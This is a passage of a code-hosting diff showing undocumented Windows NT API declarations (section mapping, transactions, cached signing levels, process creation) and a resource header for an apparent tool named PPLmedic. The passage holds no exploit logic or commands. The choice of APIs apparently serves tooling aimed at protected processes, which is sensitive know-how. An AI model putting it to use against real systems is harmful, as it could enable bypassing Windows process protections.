     595 +typedef struct _RTL_DRIVE_LETTER_CURDIR
     596 +{
     597 + USHORT Flags;
     598 + USHORT Length;
     599 + ULONG TimeStamp;
     600 + STRING DosPath;
     601 +} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;
     602 + 
     603 +#define RTL_MAX_DRIVE_LETTERS 32
     604 + 
     605 +typedef struct _RTL_USER_PROCESS_PARAMETERS
     606 +{
     607 + ULONG MaximumLength;
     608 + ULONG Length;
     609 + 
     610 + ULONG Flags;
     611 + ULONG DebugFlags;
     612 + 
     613 + HANDLE ConsoleHandle;
     614 + ULONG ConsoleFlags;
     615 + HANDLE StandardInput;
     616 + HANDLE StandardOutput;
     617 + HANDLE StandardError;
     618 + 
     619 + CURDIR CurrentDirectory;
     620 + UNICODE_STRING DllPath;
     621 + UNICODE_STRING ImagePathName;
     622 + UNICODE_STRING CommandLine;
     623 + PVOID Environment;
     624 + 
     625 + ULONG StartingX;
     626 + ULONG StartingY;
     627 + ULONG CountX;
     628 + ULONG CountY;
     629 + ULONG CountCharsX;
     630 + ULONG CountCharsY;
     631 + ULONG FillAttribute;
     632 + 
     633 + ULONG WindowFlags;
     634 + ULONG ShowWindowFlags;
     635 + UNICODE_STRING WindowTitle;
     636 + UNICODE_STRING DesktopInfo;
     637 + UNICODE_STRING ShellInfo;
     638 + UNICODE_STRING RuntimeData;
     639 + RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];
     640 + 
     641 + ULONG_PTR EnvironmentSize;
     642 + ULONG_PTR EnvironmentVersion;
     643 + 
     644 + PVOID PackageDependencyData;
     645 + ULONG ProcessGroupId;
     646 + ULONG LoaderThreads;
     647 + 
     648 + UNICODE_STRING RedirectionDllName; // REDSTONE4
     649 + UNICODE_STRING HeapPartitionName; // 19H1
     650 + ULONG_PTR DefaultThreadpoolCpuSetMasks;
     651 + ULONG DefaultThreadpoolCpuSetMaskCount;
     652 + ULONG DefaultThreadpoolThreadMaximum;
     653 + ULONG HeapMemoryTypeMask; // WIN11
     654 +} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
     655 + 
     656 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntrtl.h
     657 +typedef struct _RTLP_CURDIR_REF
     658 +{
     659 + LONG ReferenceCount;
     660 + HANDLE DirectoryHandle;
     661 +} RTLP_CURDIR_REF, * PRTLP_CURDIR_REF;
     662 + 
     663 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntrtl.h
     664 +typedef struct _RTL_RELATIVE_NAME_U
     665 +{
     666 + UNICODE_STRING RelativeName;
     667 + HANDLE ContainingDirectory;
     668 + PRTLP_CURDIR_REF CurDirRef;
     669 +} RTL_RELATIVE_NAME_U, * PRTL_RELATIVE_NAME_U;
     670 + 
     671 +NTSYSAPI
     672 +ULONG
     673 +NTAPI
     674 +RtlNtStatusToDosError(
     675 + IN NTSTATUS Status
     676 +);
     677 + 
     678 +NTSYSAPI
     679 +VOID
     680 +NTAPI
     681 +RtlInitUnicodeString(
     682 + OUT PUNICODE_STRING DestinationString,
     683 + IN PCWSTR SourceString OPTIONAL
     684 +);
     685 + 
     686 +NTSYSAPI
     687 +NTSTATUS
     688 +NTAPI
     689 +NtQueryObject(
     690 + IN HANDLE ObjectHandle,
     691 + IN OBJECT_INFORMATION_CLASS ObjectInformationClass,
     692 + OUT PVOID ObjectInformation,
     693 + IN ULONG Length,
     694 + OUT PULONG ResultLength OPTIONAL
     695 +);
     696 + 
     697 +NTSYSAPI
     698 +NTSTATUS
     699 +NTAPI
     700 +NtQuerySystemInformation(
     701 + IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
     702 + OUT PVOID SystemInformation,
     703 + IN ULONG SystemInformationLength,
     704 + OUT PULONG ReturnLength
     705 +);
     706 + 
     707 +NTSYSAPI
     708 +NTSTATUS
     709 +NTAPI
     710 +NtImpersonateThread(
     711 + IN HANDLE ThreadHandle,
     712 + IN HANDLE ThreadToImpersonate,
     713 + IN PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService
     714 +);
     715 + 
     716 +NTSYSAPI
     717 +NTSTATUS
     718 +NTAPI
     719 +NtMapViewOfSection(
     720 + IN HANDLE SectionHandle,
     721 + IN HANDLE ProcessHandle,
     722 + IN OUT PVOID* BaseAddress,
     723 + IN ULONG_PTR ZeroBits,
     724 + IN SIZE_T CommitSize,
     725 + IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
     726 + IN OUT PSIZE_T ViewSize,
     727 + IN SECTION_INHERIT InheritDisposition,
     728 + IN ULONG AllocationType,
     729 + IN ULONG Protect
     730 +);
     731 + 
     732 +NTSYSAPI
     733 +NTSTATUS
     734 +NTAPI
     735 +NtUnmapViewOfSection(
     736 + IN HANDLE ProcessHandle,
     737 + IN PVOID BaseAddress
     738 +);
     739 + 
     740 +NTSYSAPI
     741 +NTSTATUS
     742 +NTAPI
     743 +NtCreateSection(
     744 + OUT PHANDLE SectionHandle,
     745 + IN ACCESS_MASK DesiredAccess,
     746 + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
     747 + IN PLARGE_INTEGER MaximumSize OPTIONAL,
     748 + IN ULONG SectionPageProtection,
     749 + IN ULONG AllocationAttributes,
     750 + IN HANDLE FileHandle OPTIONAL
     751 +);
     752 + 
     753 +NTSYSAPI
     754 +NTSTATUS
     755 +NTAPI
     756 +NtCreateTransaction(
     757 + OUT PHANDLE TransactionHandle,
     758 + IN ACCESS_MASK DesiredAccess,
     759 + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
     760 + IN LPGUID Uow OPTIONAL,
     761 + IN HANDLE TmHandle OPTIONAL,
     762 + IN ULONG CreateOptions OPTIONAL,
     763 + IN ULONG IsolationLevel OPTIONAL,
     764 + IN ULONG IsolationFlags OPTIONAL,
     765 + IN PLARGE_INTEGER Timeout OPTIONAL,
     766 + IN PUNICODE_STRING Description OPTIONAL
     767 +);
     768 + 
     769 +NTSYSAPI
     770 +PIMAGE_NT_HEADERS
     771 +NTAPI
     772 +RtlImageNtHeader(
     773 + IN PVOID ModuleAddress
     774 +);
     775 + 
     776 +NTSYSAPI
     777 +NTSTATUS
     778 +NTAPI
     779 +NtGetCachedSigningLevel(
     780 + IN HANDLE File,
     781 + OUT PULONG Flags,
     782 + OUT PSE_SIGNING_LEVEL SigningLevel,
     783 + OUT PUCHAR Thumbprint OPTIONAL,
     784 + IN OUT PULONG ThumbprintSize OPTIONAL,
     785 + OUT PULONG ThumbprintAlgorithm OPTIONAL
     786 +);
     787 + 
     788 +NTSYSAPI
     789 +NTSTATUS
     790 +NTAPI
     791 +NtSetCachedSigningLevel(
     792 + IN ULONG Flags,
     793 + IN SE_SIGNING_LEVEL InputSigningLevel,
     794 + IN PHANDLE SourceFiles,
     795 + IN ULONG SourceFileCount,
     796 + IN HANDLE TargetFile OPTIONAL
     797 +);
     798 + 
     799 +NTSYSAPI
     800 +NTSTATUS
     801 +NTAPI
     802 +NtSetEaFile(
     803 + IN HANDLE FileHandle,
     804 + OUT PIO_STATUS_BLOCK IoStatusBlock,
     805 + IN PVOID EaBuffer,
     806 + IN ULONG EaBufferSize
     807 +);
     808 + 
     809 +NTSYSAPI
     810 +NTSTATUS
     811 +NTAPI
     812 +NtCreateUserProcess(
     813 + OUT PHANDLE ProcessHandle,
     814 + OUT PHANDLE ThreadHandle,
     815 + IN ACCESS_MASK ProcessDesiredAccess,
     816 + IN ACCESS_MASK ThreadDesiredAccess,
     817 + IN POBJECT_ATTRIBUTES ProcessObjectAttributes OPTIONAL,
     818 + IN POBJECT_ATTRIBUTES ThreadObjectAttributes OPTIONAL,
     819 + IN ULONG ProcessFlags,
     820 + IN ULONG ThreadFlags,
     821 + IN PVOID ProcessParameters OPTIONAL,
     822 + IN OUT PPS_CREATE_INFO CreateInfo,
     823 + IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL
     824 +);
     825 + 
     826 +NTSYSAPI
     827 +NTSTATUS
     828 +NTAPI
     829 +NtResumeThread(
     830 + IN HANDLE ThreadHandle,
     831 + OUT PULONG PreviousSuspendCount OPTIONAL
     832 +);
     833 + 
     834 +NTSYSAPI
     835 +BOOLEAN
     836 +NTAPI
     837 +RtlDosPathNameToNtPathName_U(
     838 + IN PCWSTR DosFileName,
     839 + OUT PUNICODE_STRING NtFileName,
     840 + OUT PWSTR* FilePart OPTIONAL,
     841 + OUT PRTL_RELATIVE_NAME_U RelativeName OPTIONAL
     842 +);
     843 + 
     844 +NTSYSAPI
     845 +NTSTATUS
     846 +NTAPI
     847 +RtlCreateProcessParametersEx(
     848 + OUT PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,
     849 + IN PUNICODE_STRING ImagePathName,
     850 + IN PUNICODE_STRING DllPath OPTIONAL,
     851 + IN PUNICODE_STRING CurrentDirectory OPTIONAL,
     852 + IN PUNICODE_STRING CommandLine OPTIONAL,
     853 + IN PVOID Environment OPTIONAL,
     854 + IN PUNICODE_STRING WindowTitle OPTIONAL,
     855 + IN PUNICODE_STRING DesktopInfo OPTIONAL,
     856 + IN PUNICODE_STRING ShellInfo OPTIONAL,
     857 + IN PUNICODE_STRING RuntimeData OPTIONAL,
     858 + IN ULONG Flags
     859 +);
     860 + 
     861 +NTSYSAPI
     862 +NTSTATUS
     863 +NTAPI
     864 +RtlDestroyProcessParameters(
     865 + IN PRTL_USER_PROCESS_PARAMETERS ProcessParameters
     866 +);
     867 + 
     868 +NTSYSAPI
     869 +PRTL_USER_PROCESS_PARAMETERS
     870 +NTAPI
     871 +RtlNormalizeProcessParams(
     872 + IN OUT PRTL_USER_PROCESS_PARAMETERS ProcessParameters
     873 +);
     874 + 
     875 +#ifdef __cplusplus
     876 +} // extern "C"
     877 +#endif
     878 + 
     879 +#endif // __NTDLL_H__
  • ■ ■ ■ ■ ■ ■
    PPLmedic/resource.h
     1 +//{{NO_DEPENDENCIES}}
     2 +// Microsoft Visual C++ generated include file.
     3 +// Used by PPLmedic.rc
     4 +//
     5 +#define IDR_RCDATA1 101
     6 + 
     7 +// Next default values for new objects
     8 +//
     9 +#ifdef APSTUDIO_INVOKED
     10 +#ifndef APSTUDIO_READONLY_SYMBOLS
     11 +#define _APS_NEXT_RESOURCE_VALUE 102
     12 +#define _APS_NEXT_COMMAND_VALUE 40001
     13 +#define _APS_NEXT_CONTROL_VALUE 1001
     14 +#define _APS_NEXT_SYMED_VALUE 101
     15 +#endif
     16 +#endif
     17 + 
Please wait...
Page is in error, reload to recover